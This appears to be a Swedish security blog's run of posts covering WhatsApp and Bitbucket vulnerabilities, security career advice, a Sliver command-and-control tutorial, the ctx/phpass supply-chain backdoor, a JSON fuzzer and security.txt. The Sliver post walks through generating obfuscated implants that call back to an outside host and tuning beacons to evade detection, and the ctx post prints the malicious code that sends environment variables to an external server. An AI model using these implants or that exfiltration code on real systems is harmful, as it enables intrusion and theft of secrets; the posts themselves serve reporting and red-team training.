WhatsApp har gått ut med en uppdatering gällande två nya sårbarheter som går att utnyttja för att ta över en mobiltelefon.
Sårbarheterna går att utnyttja om en användare av WhatsApp tar emot ett videosamtal eller videofil. Sårbarheterna gäller både iOS och Android-baserade enheter. CVSS är är 9.8 vilket är mycket allvarligt.
För att åtgärda sårbarheten behöver du uppdatera till version 2.22.16.12 eller nyare. Det är i dagsläget oklart huruvida dessa två sårbarheter utnyttjas aktivt.
Följande CVE har tilldelats: CVE-2022-36934 och CVE-2022-27492. För mer information se WhatsApps hemsida eller NIST NVD.
WhatsApp Security Advisories
2022 Updates
September Update
CVE-2022-36934
An integer overflow in WhatsApp for Android prior to v2.22.16.12, Business for Android prior to v2.22.16.12, iOS prior to v2.22.16.12, Business for iOS prior to v2.22.16.12 could result in remote code execution in an established video call.
CVE-2022-27492
An integer underflow in WhatsApp for Android prior to v2.22.16.2, WhatsApp for iOS v2.22.15.9 could have caused remote code execution when receiving a crafted video file.
Försök även själv lösa CTF:er som är offline eller testa HackTheBox-utmaningar. För offline kan jag rekommendera Metasploitable2 eller vulnhub.com.
Kolla på verktyg som återfinnes på Github och testa dessa. Se om du saknar något och utveckla eller vidareutveckla något verktyg. Att ha något på github som du kan visa upp är otroligt värdefullt.
Att bli bra inom cybersäkerhet innebär som oftast att man måste känna till många olika områden och sedan välja att fördjupa sig inom ett område.
Jag är inte så mycket för certifieringar men om du ska titta på någon och ta så är det OSCP som gäller, för den är mest hands-on och någorlunda realistisk. Förvisso så har du inte den typen av tidspress och i riktiga situationer får du använda automatiserade verktyg. Certifieringar kan vara bra vid upphandlingar eller om ditt CV inte är så välfyllt ännu. Har inte själv tagit eller gått någon av SANS kurser, men GPEN är också väletablerd. Håll dig långt borta från CEH, jag har tagit den men hela upplägget kändes otroligt oseriöst.
Att utföra omvärldsbevakning och lägga tid på forskning och utveckling är vitalt, jag använder främst Twitter nuförtiden och LinkedIn till viss del. Förut så följde jag mängder med bloggar via RSS-flöden, men det gör jag inte längre.
Se vilka konferenser som går av staplen framöver och viktigt att säga när det gäller att åka på konferenser så kanske 1-2 föredrag är intressanta. Men underskatta inte heller det sociala som händer mellan föredragen och kvällarna.
Lär dig hur ett Windows AD fungerar och sätt upp en labb-miljö med en server och en klient. Testa att utföra olika attacker och ser hur de är möjliga. Börja ej med en fullt patchad server och klient, utan installera en server och klient som är något äldre. Testa sedan samma saker och verktyg mot en nyare version.
Det är också viktigt att kunna läsa kod och skriva minst ett språk. Spendera lite tid i IDA Pro eller Ghidra och lär dig hur program är uppbyggda och hur skadlig kod fungerar.
Att veta vilka spår man lämnar vid ett penetrationstest eller red-teaming uppdrag är viktigt, därför bör du också känna till OPSEC och IT-forensik. Lär dig minnesforensik, hårddiskforensik och nätverksforensik. Som bonus är det även bra att känna till forensik på mobiltelefoner.
Lär dig att läsa in en stor PCAP-fil och identifiera indikatorer på intrång. Lär dig hur volatility fungerar och hur du kan utläsa information från en minnesdump.
Viktigt är också att inte förlita sig på ett enda verktyg, så lär dig därför att använda olika verktyg för att uppnå samma mål. Skriv ner fördelar och nackdelar med verktygen som används. Exempelvis: Vad är skillnaderna mellan masscan och nmap?
Sist men inte minst måste jag nämna Kali Linux. Det är bra med ett operativsystem som har många färdiga verktyg installerade, men vad finns det för nackdelar? Jag saknar alltid massor av verktyg så har byggt en egen Kali dist där jag lägger till sådant som jag saknar, men nackdelen då blir storleken.
En till lista jag hittade via twitter som är värd att ta med för att lära sig:
Research Institutes of Sweden (RISE) har släppt en ny rapport som syftar till att skapa en kunskapsöversikt för ledare och beslutsfattare om cyberhot mot Sverige och den ger även ett antal förslag på säkerhetsåtgärder.
Jag har läst rapporten och tycker att den ger en bra överblick för den som vill snabbt få en uppdatering gällande cybersäkerhetsläget. Fokus i rapporten ligger till stor del på samhällskritisk infrastruktur och statliga organisationer anser jag. Men belyser även bristen på kompetens och vikten av att genomföra utbildning av personal, responsiv incidentrapportering och att genomföra penetrationstester.
Den tar upp problemet med outsourcing och risker som kan uppstå i samband med detta. Exempel på organisationer som drabbats av ransomware såsom Coop (Kaseya) och Kalix Kommun nämns.
Rapporten är på enbart på 13 sidor och är således lättsmält. Tar även upp nya initiativ såsom Cybercampus och Nationellt cybersäkerhetscenter.
Här kan du ladda hem rapporten i sin helhet som PDF:
RISE: Cyberhot mot Sverige
Tips: Kan även rekommendera följande två rapporter. Även om dom nu har några år på nacken.
Sliver är ett bakdörrs/attack-ramverk eller mer specifikt ett command and Control-ramverk (C&C) som är riktat mot red-teaming och penetrationstester. Liknande funktioner återfinnes i bl.a. Metasploit och kommersiella Cobalt Strike. Microsoft har nyligen identifierat en ökad användning av Sliver hos statliga aktörer och även ransomware-grupperingar.
Sliver kan förutom vid red-teaming användas för att simulera avancerade cyberattacker och kontrollera huruvida EDR (Endpoint Detection & Response) och IT-forensiska förmågor fungerar. Sliver har även stöd för att fungera tillsammans med Prelude Operator och då kan man simulera över 150 st open-source tactics, techniques, and procedures (TTP).
Namnet Sliver kommer från kortspelet Magic: The Gathering som var populärt på 90-talet. Några funktioner som är värda att nämna är också de protokoll som kan användas för nätverkskommunikation/callback:
Mutual TLS (mtls)
HTTP/s
DNS
Wireguard
Sliver är ett aktivt projekt som underhålls av företaget Bishop Fox. Det uppdateras löpande via Github och är utvecklat i programspråket Go.
Installation av Sliver
Att installera är enkelt med följande one-liner, men du kontrollerar även givetvis koden innan du kör den?
curl https://sliver.sh/install|sudo bash
Du kan även bygga en egen Docker-container då det följer med en Dockerfile. För att testa så att sliver fungerar efter installationen så behöver du bara skriva sliver så hamnar du rätt in i CLI:t.
Installationsvideo:
Och skärmdump för att hamna i kommandoskalet:
Kör vi lsof och tittar på öppna portar så ser det ut enligt följande:
Så bra opsec kan då var att byta ut denna 31337-port mot något annat. Detta genomförs genom att redigera följande två filer:
/root/.sliver/configs/server.json
~/.sliver-client/configs/vagrant_localhost.cfg
Den nedre av ovan två filer kan dock heta något annat på just din installation. Oklart hur svårt det är att fingerprinta sliver på port 31337. Eller ännu bättre: Undvik helt att exponera denna port mot internet.
I en annan guide kommer jag att titta på hur kontrollkanaler såsom denna kan detekteras.
Skapa ett implantat
Nu när vi har slivers serverdel uppe och kör så är det dags att skapa ett implantat (klient) som kan köras på Windows, Linux eller macOS. Rekommenderar att läsa följande guide för korskompilering mellan olika OS.
Enligt den design som ligger bakom sliver så är det tänkt att sliver ska fungera som en stage 2 payload/implantat. Därav har storleken inte optimerats och implantaten kan bli över 10 mb i storlek. Men det finns också möjlighet att generera mindre stagers via kommandot generate stager, men detta kräver metasploit.
Det finns två olika lägen: beacons och sessioner. Beacons kontaktar servern med ett visst intervall + jitter och kontrollerar om det finns nya uppgifter att utföra. Medans sessioner är interaktiva mot klienten, och vissa kommandon såsom portfwd och shell kräver interaktiva sessioner.
För att skapa upp ett nytt implantat, hoppa in i slivers kommandoskal och skriv sedan exempelvis:
Så skapas ett nytt implantat med mtls-lyssnare som ansluter mot example.com och filen sparas ner i mappen /home/vagrant/implants/. Detta kan ta lite tid då obfuskering och kompilering genomförs:
sliver > generate --mtls backdoor.kryptera.se --save /home/vagrant/implants
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:03:00
[*] Implant saved to /home/vagrant/implants/SHY_AIRSHIP.exe
sliver >
Tittar vi lite närmare på filen ser den ut enligt följande:
┌──(vagrant㉿kali)-[~]
└─$ file implants/SHY_AIRSHIP.exe
implants/SHY_AIRSHIP.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
┌──(vagrant㉿kali)-[~]
└─$ ls -lah implants/SHY_AIRSHIP.exe
-rwx------ 1 vagrant vagrant 13M Sep 2 09:04 implants/SHY_AIRSHIP.exe
Standard så genereras sessions-implantat. Och vill man istället ha beacons så måste man skriva generate beacon enligt följande:
sliver > generate beacon --mtls backdoor.kryptera.se --save /home/vagrant/implants
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:02:33
[*] Implant saved to /home/vagrant/implants/MODEST_FLOOD.exe
sliver >
Vi kan även nu skriva kommandot implants för att få upp en lista över genererade implants:
Den som är observant kan även se att port 8888 används för mtls. Denna kan också ändras för att göra det svårare att fingerprinta/upptäcka implantatet och servern.
För att starta upp lyssnaren för mtls måste vi även skriva kommandot mtls:
Exekvering av implantatet
Nu när vi genererat två olika implantat för Windows/amd64 så är det dags att testa dem i en virtuell-testmiljö med Windows. Jag kommer inte gå igenom stage 1 dvs hur du erhåller kodexekvering utan fokusera på stage 2 när väl kod kan köras.
Efter vi att exekverat implantatet på en Windows-klient så får vi en callback enligt följande som dyker upp:
Och sedan kan vi skriva beacons för att få upp en lista med aktiva implantat med beacons:
Och som standard så är beacon-intervallet 60 sekunder. Detta går att konfigurera för att försvåra detektion via NIDS (Network-based Intrusion Detection System). Tips är även att skriva beacons watch för att realtid se mer information när beacons ringer hem.
Demo:
Nästa steg blir att skicka tasks eller kommandon som ska utföras av vårt installerade implantat. Och det första steget är att skriva use och sedan välja beacon. Eller skriva use och sedan trycka tabb-tangenten för autocomplete.
Sen rekommenderar jag att skriva help och då får vi upp en mängd olika kommandon vi kan köra såsom screenshot, getuid, ping, netstat, ifconfig, info osv.
Vill vi göra en screenshot så skriver vi bara screenshot och väntar tills det att beaconen ringer hem igen, vilket i vårat fall är max 60 sekunder. Och sedan dyker följande meddelande upp:
[*] Screenshot written to /tmp/screenshot_DESKTOP-SZ1UO3J_20220903130947_272482597.png (77.0 KiB)
Smidigt va? Och vill vi ändra jitter och callback-tiden för att försvåra upptäckt kan man göra en omkonfigurering av implantatet på följande sätt:
Nu börjar vi närma oss slutet av detta test. Några saker kvar att nämna är följande:
Skriv background för att lägga beaconen i bakgrunden och återvända till ”rooten” i sliver
Ingen omfattande obfuskering eller kryptering är i dagsläget aktiv (enbart gobfuscate). När jag testar mot VirusTotal så upptäcker 25 av 70 antivirus-leverantörer EXE-implantatet som genereras av sliver
Det finns ingen inbyggt persistens för implantatet, se följande issue.
Nästa guide så tänkte jag skriva mer om detektion av implantat/CnC-ramverk och bakdörrar såsom sliver.
En 17-årig webbsäkerhetsforskare vid namn Maxwell ”TheGrandPew” Garret har identifierat en RCE-sårbarhet (Remote Code Execution) i mjukvaran Bitbucket Server och Bitbucket Data Center.
Sårbarheten har CVE-2022-36804 och går att utnyttja där en angripare har läsrättigheter till privata repon. Sårbarheten är av typen command injection vulnerability. Har ni en server av typen Bitbucket Mesh så måste även denna uppgraderas.
En workaround har även släppts av Atlassian som går ut på att temporärt stänga va publik access:
feature.public.access=false
Ovan inställning gör att sårbarheten går från att vara icke-autentiserad RCE till autentiserad RCE. Läs mer hos Atlassian på följande länk.
TheGrandPew meddelar även att en PoC kommer att släppas i slutet av september:
Ed25519 är en signaturalgoritm som använder sig av EdDSA som är en så kallad twisted Edwards-kurva. Ed25519 ska enligt utsago vara både snabbare och säkrare än ECDSA och DSA samt så är nyckellängden enbart 68 tecken.
Nu har dock Konstantinos Chalkias vid MystenLabs upptäckt att ca 40 olika tredjepartsbibliotek som implementerar Ed25519 öppnar upp för en möjlig sårbarhet. Denna sårbarhet ligger i en prestandaoptimering som går ut på att en publik nyckel inte beräknas för varje meddelande som signeras. Då kan funktionen användas som ett orakel och en angripare kan beräkna den privata nyckeln med tillräckligt mycket tid och resurser.
Bild som förevisar en Ed25519-signering:
För listan med ca 40 bibliotek se följande Github-länk:
Uppdatering:Här kan du läsa om hur sockpuppets genomförde attackerna i ”gott syfte”.
Två populära tredjepartsbibliotek har blivit hackade och en bakdörr har placerats i dessa paket. Det rör sig om python (pypi) paketet ctx samt php-biblioteket phpass. Totalt rör det sig om cirka tre miljoner användare av dessa två bibliotek.
För php-bakdörren kan man titta på följande kodsnutt. Och anledningen till att bakdörren kommer in i system är för att github-kontot hautelook raderades och någon annan skapade ett nytt konto.
Nedan följer ctx python-koden som exfiltrerar miljövariablarna där koden exekveras:
def __init__(self):
self.sendRequest()
.
. # code that performs dict access
. # please DO NOT RUN THIS CODE !
def sendRequest(self):
string = ""
for _, value in environ.items():
string += value+" "
message_bytes = string.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)
För pypi-biblioteket är det troligtvis en password-spraying attack som lyckats mot det konto som har hand om ctx.
Att förhindra och försvåra attacker som använder sig av tredjepartsbibliotek är inte helt trivialt. Främst gäller det att isolera dessa paket, system och mjukvara så den inte kan ringa hem eller exfiltrera information. Dvs se till att ha en branväggspolicy som ej medger utgående trafik enkelt. Detta gäller även DNS som kan användas som kanal för att skicka ut information. Och glöm inte heller utvecklar-datorer, det gäller inte enbart servrar.
Github bör införa en längre grace-period på konton om det inte redan finns och pypi bör forcera multi-faktorsautentisering.
Allt eftersom fler och fler applikationer hanterar JSON (JavaScript Object Notation) så blir det också viktigare att genomföra olika former av säkerhetstester som just fokuserar på JSON. Många verktyg såsom Burp Suite och ZAP har stöd för att lägga till egna listor och där passar SecLists-listor bra såsom denna:
Problemet dock med dessa listor är att dom är ”dumma” och tar inte så mycket hänsyn till övriga värden och kriterier som eventuellt måste uppfyllas.
För att råda bot på detta så tog Michael Henriksen fram verktyget JDAM ”A structure-aware JSON fuzzer” som baseras på samma idé som mitt favoritverktyg radamsa.
Gif-animation som visar hur JDAM kan användas:
Och här är ett till exempel när jag använder jdam för 10 st iterationer:
Nästa utmaning är att mata in dessa värden mot den applikation eller system vi vill testa. Man kan givetvis skriva ut dessa testfall till en fil och sedan använda den filen i Burp eller ZAP. Det går även att köra ffuf direkt med utdata från jdam på följande sätt:
Att vi väljer just en regexp att matcha mot (-mr) som innehåller bla 1764 är för att detta är ett ”magiskt” värde där vi matar in 42*42 vilket blir 1764. Detta kan indikera på bl.a. template injections. Håll även koll på krashar, felmeddelanden eller annat som kan indikera på att applikationen hanterar indata på ett felaktigt sätt.
Samtliga olika mutationer som JDAM känner till är följande:
Företaget F5 som är mest kända för sina lastbalanserare och proxy-servrar har skickat ut en säkerhetsbulletin där man meddelar att 43 säkerhetsbrister har åtgärdats.
Den allvarligaste bristen har fått CVSS score på hela 9.8, men förutsätter att angriparen kan komma åt management porten på produkten BIG-IP:
This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services. There is no data plane exposure; this is a control plane issue only.
För att åtgärda bristerna bör du uppgradera till version:
Efter fem års arbete är nu äntligen security.txtfastslagen standard informational och har fått RFC 9116. Security.txt är en fil som företag, organisationer och privatpersoner kan placera på sin webbserver för att peka ut lämpliga kontaktvägar för den som identifierar en säkerhetsbrist.
Bakom arbetet med att standardisera denna text-fil står EdOverflow och Yakov Shafranovich. Flertalet stora och kända organisationer såsom Google, Facebook och Github använder sig av denna text-fil.
Om du vill skapa upp en sådan fil själv så kan du använda verktyget som återfinnes här:
